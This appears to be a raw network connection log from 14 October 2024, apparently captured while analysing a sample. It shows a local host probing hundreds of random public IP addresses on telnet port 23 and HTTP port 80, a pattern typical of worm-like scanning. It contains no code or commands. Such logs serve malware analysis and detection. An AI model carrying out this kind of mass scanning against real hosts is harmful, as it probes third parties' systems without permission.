Oct 14, 2024 17:30:11.940515041 CEST	12058	23	192.168.2.14	46.169.222.112
Oct 14, 2024 17:30:11.940515041 CEST	12058	23	192.168.2.14	52.172.192.70
Oct 14, 2024 17:30:11.940531969 CEST	12058	23	192.168.2.14	154.145.165.16
Oct 14, 2024 17:30:11.940536022 CEST	12058	23	192.168.2.14	182.148.228.222
Oct 14, 2024 17:30:11.940548897 CEST	12058	23	192.168.2.14	222.70.39.182
Oct 14, 2024 17:30:11.940551996 CEST	12058	23	192.168.2.14	167.59.103.224
Oct 14, 2024 17:30:11.940567970 CEST	12058	23	192.168.2.14	209.112.41.119
Oct 14, 2024 17:30:11.940572977 CEST	12058	23	192.168.2.14	47.204.133.86
Oct 14, 2024 17:30:11.940576077 CEST	12058	23	192.168.2.14	204.210.185.55
Oct 14, 2024 17:30:11.940576077 CEST	12058	23	192.168.2.14	115.140.92.243
Oct 14, 2024 17:30:11.940587997 CEST	12058	23	192.168.2.14	133.123.250.216
Oct 14, 2024 17:30:11.940602064 CEST	12058	23	192.168.2.14	93.218.169.243
Oct 14, 2024 17:30:11.940604925 CEST	12058	23	192.168.2.14	100.215.35.137
Oct 14, 2024 17:30:11.940613031 CEST	12058	23	192.168.2.14	41.12.94.47
Oct 14, 2024 17:30:11.940620899 CEST	12058	23	192.168.2.14	37.68.40.173
Oct 14, 2024 17:30:11.940623999 CEST	12058	23	192.168.2.14	181.189.98.35
Oct 14, 2024 17:30:11.940639019 CEST	12058	23	192.168.2.14	2.247.112.172
Oct 14, 2024 17:30:11.940640926 CEST	12058	23	192.168.2.14	39.161.107.112
Oct 14, 2024 17:30:11.940649986 CEST	12058	23	192.168.2.14	95.133.56.172
Oct 14, 2024 17:30:11.940663099 CEST	12058	23	192.168.2.14	58.106.63.39
Oct 14, 2024 17:30:11.940668106 CEST	12058	23	192.168.2.14	166.190.206.141
Oct 14, 2024 17:30:11.940669060 CEST	12058	23	192.168.2.14	148.247.232.86
Oct 14, 2024 17:30:11.940670013 CEST	12058	23	192.168.2.14	51.254.139.180
Oct 14, 2024 17:30:11.940674067 CEST	12058	23	192.168.2.14	20.115.6.191
Oct 14, 2024 17:30:11.940680981 CEST	12058	23	192.168.2.14	31.90.133.230
Oct 14, 2024 17:30:11.940696001 CEST	12058	23	192.168.2.14	201.71.77.3
Oct 14, 2024 17:30:11.940696001 CEST	12058	23	192.168.2.14	107.137.80.96
Oct 14, 2024 17:30:11.940706015 CEST	12058	23	192.168.2.14	141.30.54.125
Oct 14, 2024 17:30:11.940706968 CEST	12058	23	192.168.2.14	133.72.189.126
Oct 14, 2024 17:30:11.940720081 CEST	12058	23	192.168.2.14	150.30.103.199
Oct 14, 2024 17:30:11.940721035 CEST	12058	23	192.168.2.14	48.246.78.221
Oct 14, 2024 17:30:11.940731049 CEST	12058	23	192.168.2.14	216.175.26.63
Oct 14, 2024 17:30:11.940732956 CEST	12058	23	192.168.2.14	96.174.118.19
Oct 14, 2024 17:30:11.940740108 CEST	12058	23	192.168.2.14	207.170.0.225
Oct 14, 2024 17:30:11.940752029 CEST	12058	23	192.168.2.14	32.145.11.171
Oct 14, 2024 17:30:11.940763950 CEST	12058	23	192.168.2.14	140.247.2.138
Oct 14, 2024 17:30:11.940766096 CEST	12058	23	192.168.2.14	2.124.73.49
Oct 14, 2024 17:30:11.940766096 CEST	12058	23	192.168.2.14	90.120.220.56
Oct 14, 2024 17:30:11.940768003 CEST	12058	23	192.168.2.14	141.125.99.65
Oct 14, 2024 17:30:11.940783024 CEST	12058	23	192.168.2.14	125.214.13.94
Oct 14, 2024 17:30:11.940784931 CEST	12058	23	192.168.2.14	219.27.180.197
Oct 14, 2024 17:30:11.940790892 CEST	12058	23	192.168.2.14	207.152.111.81
Oct 14, 2024 17:30:11.940802097 CEST	12058	23	192.168.2.14	179.76.50.122
Oct 14, 2024 17:30:11.940812111 CEST	12058	23	192.168.2.14	203.233.213.61
Oct 14, 2024 17:30:11.940812111 CEST	12058	23	192.168.2.14	119.75.92.206
Oct 14, 2024 17:30:11.940814972 CEST	12058	23	192.168.2.14	135.172.209.218
Oct 14, 2024 17:30:11.940830946 CEST	12058	23	192.168.2.14	40.182.172.60
Oct 14, 2024 17:30:11.940830946 CEST	12058	23	192.168.2.14	89.223.34.233
Oct 14, 2024 17:30:11.940846920 CEST	12058	23	192.168.2.14	106.233.176.124
Oct 14, 2024 17:30:11.940854073 CEST	12058	23	192.168.2.14	117.181.217.104
Oct 14, 2024 17:30:11.940855026 CEST	12058	23	192.168.2.14	53.83.198.169
Oct 14, 2024 17:30:11.940855026 CEST	12058	23	192.168.2.14	148.198.77.22
Oct 14, 2024 17:30:11.940860033 CEST	12058	23	192.168.2.14	185.88.49.239
Oct 14, 2024 17:30:11.940876961 CEST	12058	23	192.168.2.14	206.77.24.79
Oct 14, 2024 17:30:11.940877914 CEST	12058	23	192.168.2.14	81.98.224.81
Oct 14, 2024 17:30:11.940885067 CEST	12058	23	192.168.2.14	42.244.191.63
Oct 14, 2024 17:30:11.940885067 CEST	12058	23	192.168.2.14	130.195.203.209
Oct 14, 2024 17:30:11.940893888 CEST	12058	23	192.168.2.14	31.12.145.131
Oct 14, 2024 17:30:11.940905094 CEST	12058	23	192.168.2.14	168.252.10.138
Oct 14, 2024 17:30:11.940908909 CEST	12058	23	192.168.2.14	156.7.62.212
Oct 14, 2024 17:30:11.940908909 CEST	12058	23	192.168.2.14	95.202.200.117
Oct 14, 2024 17:30:11.940927982 CEST	12058	23	192.168.2.14	87.207.207.198
Oct 14, 2024 17:30:11.940937042 CEST	12058	23	192.168.2.14	186.35.95.137
Oct 14, 2024 17:30:11.940946102 CEST	12058	23	192.168.2.14	158.112.28.180
Oct 14, 2024 17:30:11.940946102 CEST	12058	23	192.168.2.14	152.39.113.2
Oct 14, 2024 17:30:11.940947056 CEST	12058	23	192.168.2.14	200.244.183.212
Oct 14, 2024 17:30:11.940963984 CEST	12058	23	192.168.2.14	163.132.152.49
Oct 14, 2024 17:30:11.940967083 CEST	12058	23	192.168.2.14	201.128.59.30
Oct 14, 2024 17:30:11.940978050 CEST	12058	23	192.168.2.14	155.187.170.160
Oct 14, 2024 17:30:11.940978050 CEST	12058	23	192.168.2.14	200.155.48.30
Oct 14, 2024 17:30:11.940984011 CEST	12058	23	192.168.2.14	92.180.144.170
Oct 14, 2024 17:30:11.940996885 CEST	12058	23	192.168.2.14	150.160.184.122
Oct 14, 2024 17:30:11.940998077 CEST	12058	23	192.168.2.14	18.5.38.151
Oct 14, 2024 17:30:11.941001892 CEST	12058	23	192.168.2.14	91.158.82.65
Oct 14, 2024 17:30:11.941011906 CEST	12058	23	192.168.2.14	130.10.22.109
Oct 14, 2024 17:30:11.941013098 CEST	12058	23	192.168.2.14	163.71.227.187
Oct 14, 2024 17:30:11.941021919 CEST	12058	23	192.168.2.14	102.161.241.66
Oct 14, 2024 17:30:11.941035032 CEST	12058	23	192.168.2.14	8.29.16.31
Oct 14, 2024 17:30:11.941035032 CEST	12058	23	192.168.2.14	93.43.24.10
Oct 14, 2024 17:30:11.941050053 CEST	12058	23	192.168.2.14	222.244.109.73
Oct 14, 2024 17:30:11.941056013 CEST	12058	23	192.168.2.14	135.173.166.45
Oct 14, 2024 17:30:11.941057920 CEST	12058	23	192.168.2.14	89.199.48.235
Oct 14, 2024 17:30:11.941063881 CEST	12058	23	192.168.2.14	168.181.132.139
Oct 14, 2024 17:30:11.941081047 CEST	12058	23	192.168.2.14	14.235.245.0
Oct 14, 2024 17:30:11.941082001 CEST	12058	23	192.168.2.14	87.222.133.64
Oct 14, 2024 17:30:11.941086054 CEST	12058	23	192.168.2.14	2.219.248.149
Oct 14, 2024 17:30:11.941088915 CEST	12058	23	192.168.2.14	43.70.163.5
Oct 14, 2024 17:30:11.941097975 CEST	12058	23	192.168.2.14	183.85.110.163
Oct 14, 2024 17:30:11.941107988 CEST	12058	23	192.168.2.14	183.13.221.209
Oct 14, 2024 17:30:11.941109896 CEST	12058	23	192.168.2.14	120.118.204.29
Oct 14, 2024 17:30:11.941118956 CEST	12058	23	192.168.2.14	34.193.233.219
Oct 14, 2024 17:30:11.941127062 CEST	12058	23	192.168.2.14	198.172.85.52
Oct 14, 2024 17:30:11.941138983 CEST	12058	23	192.168.2.14	156.151.246.7
Oct 14, 2024 17:30:11.941140890 CEST	12058	23	192.168.2.14	35.137.34.122
Oct 14, 2024 17:30:11.941148043 CEST	12058	23	192.168.2.14	78.203.118.70
Oct 14, 2024 17:30:11.941150904 CEST	12058	23	192.168.2.14	48.6.16.240
Oct 14, 2024 17:30:11.941150904 CEST	12058	23	192.168.2.14	141.220.101.177
Oct 14, 2024 17:30:11.941152096 CEST	12058	23	192.168.2.14	209.7.137.138
Oct 14, 2024 17:30:11.941154957 CEST	12058	23	192.168.2.14	18.68.18.165
Oct 14, 2024 17:30:11.941170931 CEST	12058	23	192.168.2.14	110.72.189.206
Oct 14, 2024 17:30:11.941170931 CEST	12058	23	192.168.2.14	117.165.249.51
Oct 14, 2024 17:30:11.941179037 CEST	12058	23	192.168.2.14	210.24.94.69
Oct 14, 2024 17:30:11.941181898 CEST	12058	23	192.168.2.14	101.29.113.93
Oct 14, 2024 17:30:11.943336010 CEST	37215	47074	41.127.252.72	192.168.2.14
Oct 14, 2024 17:30:11.975111961 CEST	37215	36872	41.176.3.68	192.168.2.14
Oct 14, 2024 17:30:11.987153053 CEST	37215	47074	41.127.252.72	192.168.2.14
Oct 14, 2024 17:30:12.904573917 CEST	53274	80	192.168.2.14	180.247.236.221
Oct 14, 2024 17:30:12.904573917 CEST	53274	80	192.168.2.14	32.112.182.187
Oct 14, 2024 17:30:12.904573917 CEST	53274	80	192.168.2.14	99.221.191.117
Oct 14, 2024 17:30:12.904604912 CEST	53274	80	192.168.2.14	50.13.188.185
Oct 14, 2024 17:30:12.904604912 CEST	53274	80	192.168.2.14	73.68.77.91
Oct 14, 2024 17:30:12.904619932 CEST	53274	80	192.168.2.14	1.180.11.169
Oct 14, 2024 17:30:12.904638052 CEST	53274	80	192.168.2.14	27.116.106.43
Oct 14, 2024 17:30:12.904638052 CEST	53274	80	192.168.2.14	116.219.149.39
Oct 14, 2024 17:30:12.904659986 CEST	53274	80	192.168.2.14	138.223.185.200
Oct 14, 2024 17:30:12.904659033 CEST	53274	80	192.168.2.14	177.155.252.229
Oct 14, 2024 17:30:12.904659033 CEST	53274	80	192.168.2.14	134.141.2.173
Oct 14, 2024 17:30:12.904670000 CEST	53274	80	192.168.2.14	145.191.228.220
Oct 14, 2024 17:30:12.904690981 CEST	53274	80	192.168.2.14	66.78.157.143
Oct 14, 2024 17:30:12.904690981 CEST	53274	80	192.168.2.14	132.22.216.91
Oct 14, 2024 17:30:12.904701948 CEST	53274	80	192.168.2.14	126.142.29.166
Oct 14, 2024 17:30:12.904701948 CEST	53274	80	192.168.2.14	46.248.77.186
Oct 14, 2024 17:30:12.904720068 CEST	53274	80	192.168.2.14	132.22.42.189
Oct 14, 2024 17:30:12.904720068 CEST	53274	80	192.168.2.14	42.187.72.39
Oct 14, 2024 17:30:12.904719114 CEST	53274	80	192.168.2.14	75.21.254.222
Oct 14, 2024 17:30:12.904719114 CEST	53274	80	192.168.2.14	99.66.2.103
Oct 14, 2024 17:30:12.904719114 CEST	53274	80	192.168.2.14	52.157.112.181
Oct 14, 2024 17:30:12.904719114 CEST	53274	80	192.168.2.14	205.33.20.156
Oct 14, 2024 17:30:12.904738903 CEST	53274	80	192.168.2.14	131.83.57.127
Oct 14, 2024 17:30:12.904740095 CEST	53274	80	192.168.2.14	211.4.233.175
Oct 14, 2024 17:30:12.904750109 CEST	53274	80	192.168.2.14	167.247.107.8
Oct 14, 2024 17:30:12.904757977 CEST	53274	80	192.168.2.14	122.121.147.195
Oct 14, 2024 17:30:12.904757977 CEST	53274	80	192.168.2.14	35.49.19.57
Oct 14, 2024 17:30:12.904761076 CEST	53274	80	192.168.2.14	98.180.146.102
Oct 14, 2024 17:30:12.904783964 CEST	53274	80	192.168.2.14	113.111.122.241
Oct 14, 2024 17:30:12.904783964 CEST	53274	80	192.168.2.14	109.16.205.91
Oct 14, 2024 17:30:12.904787064 CEST	53274	80	192.168.2.14	183.137.177.188
Oct 14, 2024 17:30:12.904799938 CEST	53274	80	192.168.2.14	49.77.177.136
Oct 14, 2024 17:30:12.904799938 CEST	53274	80	192.168.2.14	209.211.24.151
Oct 14, 2024 17:30:12.904799938 CEST	53274	80	192.168.2.14	24.149.125.4
Oct 14, 2024 17:30:12.904810905 CEST	53274	80	192.168.2.14	5.212.157.201
Oct 14, 2024 17:30:12.904822111 CEST	53274	80	192.168.2.14	143.75.33.142
Oct 14, 2024 17:30:12.904828072 CEST	53274	80	192.168.2.14	39.211.242.205
Oct 14, 2024 17:30:12.904828072 CEST	53274	80	192.168.2.14	177.154.31.23
Oct 14, 2024 17:30:12.904839993 CEST	53274	80	192.168.2.14	71.28.144.14
Oct 14, 2024 17:30:12.904844046 CEST	53274	80	192.168.2.14	166.134.112.27
Oct 14, 2024 17:30:12.904844046 CEST	53274	80	192.168.2.14	97.55.108.151
Oct 14, 2024 17:30:12.904848099 CEST	53274	80	192.168.2.14	150.79.56.85
Oct 14, 2024 17:30:12.904850960 CEST	53274	80	192.168.2.14	152.51.178.59
Oct 14, 2024 17:30:12.904851913 CEST	53274	80	192.168.2.14	154.230.225.91
Oct 14, 2024 17:30:12.904851913 CEST	53274	80	192.168.2.14	187.123.216.241
Oct 14, 2024 17:30:12.904854059 CEST	53274	80	192.168.2.14	111.27.28.114
Oct 14, 2024 17:30:12.904874086 CEST	53274	80	192.168.2.14	154.79.79.161
Oct 14, 2024 17:30:12.904875040 CEST	53274	80	192.168.2.14	92.126.227.190
Oct 14, 2024 17:30:12.904889107 CEST	53274	80	192.168.2.14	142.12.239.141
Oct 14, 2024 17:30:12.904889107 CEST	53274	80	192.168.2.14	210.102.156.19
Oct 14, 2024 17:30:12.904900074 CEST	53274	80	192.168.2.14	132.192.237.0
Oct 14, 2024 17:30:12.904910088 CEST	53274	80	192.168.2.14	61.162.51.66
Oct 14, 2024 17:30:12.904917955 CEST	53274	80	192.168.2.14	129.241.36.235
Oct 14, 2024 17:30:12.904922962 CEST	53274	80	192.168.2.14	57.211.166.3
Oct 14, 2024 17:30:12.904922962 CEST	53274	80	192.168.2.14	167.84.136.223
Oct 14, 2024 17:30:12.904932976 CEST	53274	80	192.168.2.14	201.98.170.129
Oct 14, 2024 17:30:12.904948950 CEST	53274	80	192.168.2.14	27.111.3.201
Oct 14, 2024 17:30:12.904959917 CEST	53274	80	192.168.2.14	128.56.93.162
Oct 14, 2024 17:30:12.904972076 CEST	53274	80	192.168.2.14	57.113.61.137
Oct 14, 2024 17:30:12.904983044 CEST	53274	80	192.168.2.14	138.13.111.152
Oct 14, 2024 17:30:12.904987097 CEST	53274	80	192.168.2.14	129.165.235.4
Oct 14, 2024 17:30:12.904987097 CEST	53274	80	192.168.2.14	132.112.73.10
Oct 14, 2024 17:30:12.904993057 CEST	53274	80	192.168.2.14	143.42.244.86
Oct 14, 2024 17:30:12.905008078 CEST	53274	80	192.168.2.14	67.211.250.137
Oct 14, 2024 17:30:12.905013084 CEST	53274	80	192.168.2.14	125.124.107.124
Oct 14, 2024 17:30:12.905023098 CEST	53274	80	192.168.2.14	165.100.128.52
Oct 14, 2024 17:30:12.905033112 CEST	53274	80	192.168.2.14	43.144.26.150
Oct 14, 2024 17:30:12.905035973 CEST	53274	80	192.168.2.14	50.106.16.4
Oct 14, 2024 17:30:12.905049086 CEST	53274	80	192.168.2.14	203.184.30.201
Oct 14, 2024 17:30:12.905052900 CEST	53274	80	192.168.2.14	68.172.194.231
Oct 14, 2024 17:30:12.905069113 CEST	53274	80	192.168.2.14	129.216.209.83
Oct 14, 2024 17:30:12.905069113 CEST	53274	80	192.168.2.14	164.184.14.78
Oct 14, 2024 17:30:12.905081987 CEST	53274	80	192.168.2.14	36.223.109.139
Oct 14, 2024 17:30:12.905086994 CEST	53274	80	192.168.2.14	148.143.81.14
Oct 14, 2024 17:30:12.905086994 CEST	53274	80	192.168.2.14	121.205.167.169
Oct 14, 2024 17:30:12.905095100 CEST	53274	80	192.168.2.14	74.95.117.83
Oct 14, 2024 17:30:12.905107021 CEST	53274	80	192.168.2.14	4.56.203.217
Oct 14, 2024 17:30:12.905114889 CEST	53274	80	192.168.2.14	75.73.120.61
Oct 14, 2024 17:30:12.905114889 CEST	53274	80	192.168.2.14	74.179.36.31
Oct 14, 2024 17:30:12.905122995 CEST	53274	80	192.168.2.14	59.136.227.64
Oct 14, 2024 17:30:12.905138016 CEST	53274	80	192.168.2.14	186.201.170.93
Oct 14, 2024 17:30:12.905144930 CEST	53274	80	192.168.2.14	154.156.35.197
Oct 14, 2024 17:30:12.905153036 CEST	53274	80	192.168.2.14	167.47.29.169
Oct 14, 2024 17:30:12.905153990 CEST	53274	80	192.168.2.14	199.242.193.221
Oct 14, 2024 17:30:12.905153990 CEST	53274	80	192.168.2.14	190.105.158.118
Oct 14, 2024 17:30:12.905162096 CEST	53274	80	192.168.2.14	142.127.221.53
Oct 14, 2024 17:30:12.905170918 CEST	53274	80	192.168.2.14	20.43.31.24
Oct 14, 2024 17:30:12.905184031 CEST	53274	80	192.168.2.14	52.189.198.209
Oct 14, 2024 17:30:12.905185938 CEST	53274	80	192.168.2.14	82.20.107.230
Oct 14, 2024 17:30:12.905201912 CEST	53274	80	192.168.2.14	150.10.119.33
Oct 14, 2024 17:30:12.905206919 CEST	53274	80	192.168.2.14	112.131.34.37
Oct 14, 2024 17:30:12.905244112 CEST	53274	80	192.168.2.14	167.194.0.152
Oct 14, 2024 17:30:12.905255079 CEST	53274	80	192.168.2.14	42.172.82.246
Oct 14, 2024 17:30:12.905255079 CEST	53274	80	192.168.2.14	4.158.178.48
Oct 14, 2024 17:30:12.905255079 CEST	53274	80	192.168.2.14	181.72.34.36
Oct 14, 2024 17:30:12.905262947 CEST	53274	80	192.168.2.14	212.46.85.64
Oct 14, 2024 17:30:12.905263901 CEST	53274	80	192.168.2.14	121.134.229.148
Oct 14, 2024 17:30:12.905265093 CEST	53274	80	192.168.2.14	159.200.6.252
Oct 14, 2024 17:30:12.905265093 CEST	53274	80	192.168.2.14	142.103.162.133
Oct 14, 2024 17:30:12.905267000 CEST	53274	80	192.168.2.14	129.112.208.10
Oct 14, 2024 17:30:12.905288935 CEST	53274	80	192.168.2.14	203.87.203.129
Oct 14, 2024 17:30:12.905289888 CEST	53274	80	192.168.2.14	165.39.244.106
Oct 14, 2024 17:30:12.905289888 CEST	53274	80	192.168.2.14	183.80.30.6
Oct 14, 2024 17:30:12.905288935 CEST	53274	80	192.168.2.14	195.25.121.205
Oct 14, 2024 17:30:12.905289888 CEST	53274	80	192.168.2.14	193.252.115.73
Oct 14, 2024 17:30:12.905296087 CEST	53274	80	192.168.2.14	41.190.178.160
Oct 14, 2024 17:30:12.905296087 CEST	53274	80	192.168.2.14	84.77.114.114
Oct 14, 2024 17:30:12.905309916 CEST	53274	80	192.168.2.14	101.85.147.222
Oct 14, 2024 17:30:12.905312061 CEST	53274	80	192.168.2.14	173.129.78.9
Oct 14, 2024 17:30:12.905313969 CEST	53274	80	192.168.2.14	90.134.168.192
Oct 14, 2024 17:30:12.905313969 CEST	53274	80	192.168.2.14	107.162.96.128
Oct 14, 2024 17:30:12.905313969 CEST	53274	80	192.168.2.14	168.41.2.2
Oct 14, 2024 17:30:12.905322075 CEST	53274	80	192.168.2.14	19.10.181.153
Oct 14, 2024 17:30:12.905319929 CEST	53274	80	192.168.2.14	40.183.141.125
Oct 14, 2024 17:30:12.905324936 CEST	53274	80	192.168.2.14	182.124.65.18
Oct 14, 2024 17:30:12.905324936 CEST	53274	80	192.168.2.14	2.204.59.40
Oct 14, 2024 17:30:12.905324936 CEST	53274	80	192.168.2.14	167.192.211.196
Oct 14, 2024 17:30:12.905324936 CEST	53274	80	192.168.2.14	138.2.103.27
Oct 14, 2024 17:30:12.905329943 CEST	53274	80	192.168.2.14	132.158.176.125
Oct 14, 2024 17:30:12.905332088 CEST	53274	80	192.168.2.14	167.185.132.19
Oct 14, 2024 17:30:12.905319929 CEST	53274	80	192.168.2.14	169.103.151.183
Oct 14, 2024 17:30:12.905332088 CEST	53274	80	192.168.2.14	102.51.92.35
Oct 14, 2024 17:30:12.905319929 CEST	53274	80	192.168.2.14	73.227.171.77
Oct 14, 2024 17:30:12.905319929 CEST	53274	80	192.168.2.14	152.89.131.191
Oct 14, 2024 17:30:12.905320883 CEST	53274	80	192.168.2.14	66.114.187.3
Oct 14, 2024 17:30:12.905320883 CEST	53274	80	192.168.2.14	74.8.233.224
Oct 14, 2024 17:30:12.905338049 CEST	53274	80	192.168.2.14	65.49.238.54
Oct 14, 2024 17:30:12.905340910 CEST	53274	80	192.168.2.14	206.101.174.129
Oct 14, 2024 17:30:12.905344009 CEST	53274	80	192.168.2.14	113.211.121.32
Oct 14, 2024 17:30:12.905344009 CEST	53274	80	192.168.2.14	94.194.193.50
Oct 14, 2024 17:30:12.905355930 CEST	53274	80	192.168.2.14	164.3.251.36
Oct 14, 2024 17:30:12.905355930 CEST	53274	80	192.168.2.14	157.190.94.33
Oct 14, 2024 17:30:12.905370951 CEST	53274	80	192.168.2.14	77.222.216.27
Oct 14, 2024 17:30:12.905370951 CEST	53274	80	192.168.2.14	32.223.122.185
Oct 14, 2024 17:30:12.905371904 CEST	53274	80	192.168.2.14	126.158.101.69
Oct 14, 2024 17:30:12.905371904 CEST	53274	80	192.168.2.14	116.125.40.72
Oct 14, 2024 17:30:12.905375957 CEST	53274	80	192.168.2.14	107.227.246.11
Oct 14, 2024 17:30:12.905378103 CEST	53274	80	192.168.2.14	48.163.19.202
Oct 14, 2024 17:30:12.905375957 CEST	53274	80	192.168.2.14	63.93.201.252
Oct 14, 2024 17:30:12.905381918 CEST	53274	80	192.168.2.14	92.16.128.233
Oct 14, 2024 17:30:12.905395031 CEST	53274	80	192.168.2.14	206.17.222.60
Oct 14, 2024 17:30:12.905395985 CEST	53274	80	192.168.2.14	153.167.57.62
Oct 14, 2024 17:30:12.905412912 CEST	53274	80	192.168.2.14	141.235.249.128
Oct 14, 2024 17:30:12.905424118 CEST	53274	80	192.168.2.14	62.18.230.54
Oct 14, 2024 17:30:12.905424118 CEST	53274	80	192.168.2.14	110.99.150.27
Oct 14, 2024 17:30:12.905430079 CEST	53274	80	192.168.2.14	34.221.178.91
Oct 14, 2024 17:30:12.905432940 CEST	53274	80	192.168.2.14	81.97.34.69
Oct 14, 2024 17:30:12.905448914 CEST	53274	80	192.168.2.14	120.85.42.207
Oct 14, 2024 17:30:12.905457020 CEST	53274	80	192.168.2.14	150.31.149.75
Oct 14, 2024 17:30:12.905468941 CEST	53274	80	192.168.2.14	119.250.1.146
Oct 14, 2024 17:30:12.905468941 CEST	53274	80	192.168.2.14	82.81.104.239
Oct 14, 2024 17:30:12.905469894 CEST	53274	80	192.168.2.14	212.22.23.90
Oct 14, 2024 17:30:12.905488014 CEST	53274	80	192.168.2.14	196.123.158.156
Oct 14, 2024 17:30:12.905488014 CEST	53274	80	192.168.2.14	47.168.29.157
Oct 14, 2024 17:30:12.905488014 CEST	53274	80	192.168.2.14	134.201.71.197
Oct 14, 2024 17:30:12.905495882 CEST	53274	80	192.168.2.14	45.164.218.32
Oct 14, 2024 17:30:12.905503988 CEST	53274	80	192.168.2.14	138.218.149.214
Oct 14, 2024 17:30:12.905524015 CEST	53274	80	192.168.2.14	114.130.191.203
Oct 14, 2024 17:30:12.905524015 CEST	53274	80	192.168.2.14	212.246.113.39
Oct 14, 2024 17:30:12.905529022 CEST	53274	80	192.168.2.14	169.78.48.236
Oct 14, 2024 17:30:12.905536890 CEST	53274	80	192.168.2.14	20.251.184.90
Oct 14, 2024 17:30:12.905549049 CEST	53274	80	192.168.2.14	50.2.36.100
Oct 14, 2024 17:30:12.905551910 CEST	53274	80	192.168.2.14	130.85.225.176
Oct 14, 2024 17:30:12.905555010 CEST	53274	80	192.168.2.14	105.19.248.80
Oct 14, 2024 17:30:12.905559063 CEST	53274	80	192.168.2.14	130.79.82.36
Oct 14, 2024 17:30:12.905564070 CEST	53274	80	192.168.2.14	116.35.11.38
Oct 14, 2024 17:30:12.905584097 CEST	53274	80	192.168.2.14	180.139.238.239
Oct 14, 2024 17:30:12.905590057 CEST	53274	80	192.168.2.14	169.137.147.182
Oct 14, 2024 17:30:12.905595064 CEST	53274	80	192.168.2.14	8.229.124.33
Oct 14, 2024 17:30:12.905596972 CEST	53274	80	192.168.2.14	195.71.99.230
Oct 14, 2024 17:30:12.905596972 CEST	53274	80	192.168.2.14	135.248.42.6
Oct 14, 2024 17:30:12.905601025 CEST	53274	80	192.168.2.14	108.148.31.228
Oct 14, 2024 17:30:12.905623913 CEST	53274	80	192.168.2.14	125.129.65.198
Oct 14, 2024 17:30:12.905625105 CEST	53274	80	192.168.2.14	32.79.145.110
Oct 14, 2024 17:30:12.905626059 CEST	53274	80	192.168.2.14	1.190.146.108
Oct 14, 2024 17:30:12.905626059 CEST	53274	80	192.168.2.14	54.208.35.103
Oct 14, 2024 17:30:12.905635118 CEST	53274	80	192.168.2.14	84.179.12.134
Oct 14, 2024 17:30:12.905638933 CEST	53274	80	192.168.2.14	180.152.82.231
Oct 14, 2024 17:30:12.905644894 CEST	53274	80	192.168.2.14	156.240.101.163
Oct 14, 2024 17:30:12.905656099 CEST	53274	80	192.168.2.14	188.183.146.236
Oct 14, 2024 17:30:12.905663013 CEST	53274	80	192.168.2.14	160.155.92.86
Oct 14, 2024 17:30:12.905678034 CEST	53274	80	192.168.2.14	220.137.10.245
Oct 14, 2024 17:30:12.905683041 CEST	53274	80	192.168.2.14	145.2.210.22
Oct 14, 2024 17:30:12.905683994 CEST	53274	80	192.168.2.14	49.206.57.137
Oct 14, 2024 17:30:12.905692101 CEST	53274	80	192.168.2.14	169.179.224.68
Oct 14, 2024 17:30:12.905692101 CEST	53274	80	192.168.2.14	190.122.207.189
Oct 14, 2024 17:30:12.905697107 CEST	53274	80	192.168.2.14	78.22.78.38
Oct 14, 2024 17:30:12.905704975 CEST	53274	80	192.168.2.14	36.230.247.25
Oct 14, 2024 17:30:12.905721903 CEST	53274	80	192.168.2.14	158.251.59.188
Oct 14, 2024 17:30:12.905721903 CEST	53274	80	192.168.2.14	219.160.8.156
Oct 14, 2024 17:30:12.905726910 CEST	53274	80	192.168.2.14	212.106.155.158
Oct 14, 2024 17:30:12.905741930 CEST	53274	80	192.168.2.14	167.12.241.58
Oct 14, 2024 17:30:12.905746937 CEST	53274	80	192.168.2.14	45.138.96.123
Oct 14, 2024 17:30:12.905746937 CEST	53274	80	192.168.2.14	52.68.199.25
Oct 14, 2024 17:30:12.905755043 CEST	53274	80	192.168.2.14	76.111.244.106
Oct 14, 2024 17:30:12.905760050 CEST	53274	80	192.168.2.14	43.170.237.128
Oct 14, 2024 17:30:12.905767918 CEST	53274	80	192.168.2.14	31.150.78.137
Oct 14, 2024 17:30:12.905781984 CEST	53274	80	192.168.2.14	42.135.234.166
Oct 14, 2024 17:30:12.905791044 CEST	53274	80	192.168.2.14	210.91.25.52
Oct 14, 2024 17:30:12.905791044 CEST	53274	80	192.168.2.14	45.108.214.213
Oct 14, 2024 17:30:12.905798912 CEST	53274	80	192.168.2.14	161.211.170.126
Oct 14, 2024 17:30:12.905808926 CEST	53274	80	192.168.2.14	89.11.116.219
Oct 14, 2024 17:30:12.905808926 CEST	53274	80	192.168.2.14	91.96.236.47
Oct 14, 2024 17:30:12.905814886 CEST	53274	80	192.168.2.14	197.203.129.125
Oct 14, 2024 17:30:12.905814886 CEST	53274	80	192.168.2.14	196.78.92.225
Oct 14, 2024 17:30:12.905823946 CEST	53274	80	192.168.2.14	195.132.146.43
Oct 14, 2024 17:30:12.905841112 CEST	53274	80	192.168.2.14	143.33.128.157
Oct 14, 2024 17:30:12.905847073 CEST	53274	80	192.168.2.14	48.30.135.143
Oct 14, 2024 17:30:12.905853987 CEST	53274	80	192.168.2.14	220.19.73.212
Oct 14, 2024 17:30:12.905853987 CEST	53274	80	192.168.2.14	221.43.196.50
Oct 14, 2024 17:30:12.905853987 CEST	53274	80	192.168.2.14	156.212.155.138
Oct 14, 2024 17:30:12.905869961 CEST	53274	80	192.168.2.14	193.142.67.1
Oct 14, 2024 17:30:12.905874014 CEST	53274	80	192.168.2.14	93.48.17.23
Oct 14, 2024 17:30:12.905879974 CEST	53274	80	192.168.2.14	96.154.133.158
Oct 14, 2024 17:30:12.905881882 CEST	53274	80	192.168.2.14	168.98.34.128
Oct 14, 2024 17:30:12.905888081 CEST	53274	80	192.168.2.14	136.43.17.164
Oct 14, 2024 17:30:12.905894995 CEST	53274	80	192.168.2.14	60.37.111.233
Oct 14, 2024 17:30:12.905905962 CEST	53274	80	192.168.2.14	97.57.60.195
Oct 14, 2024 17:30:12.905915976 CEST	53274	80	192.168.2.14	82.205.253.112
Oct 14, 2024 17:30:12.905922890 CEST	53274	80	192.168.2.14	201.14.104.92
Oct 14, 2024 17:30:12.905934095 CEST	53274	80	192.168.2.14	126.53.112.244
Oct 14, 2024 17:30:12.905936003 CEST	53274	80	192.168.2.14	131.48.63.42
Oct 14, 2024 17:30:12.905936003 CEST	53274	80	192.168.2.14	125.45.201.62
Oct 14, 2024 17:30:12.905940056 CEST	53274	80	192.168.2.14	62.92.31.36
Oct 14, 2024 17:30:12.905941010 CEST	53274	80	192.168.2.14	44.243.60.0
Oct 14, 2024 17:30:12.905941010 CEST	53274	80	192.168.2.14	39.7.109.166
Oct 14, 2024 17:30:12.905946970 CEST	53274	80	192.168.2.14	120.223.234.57
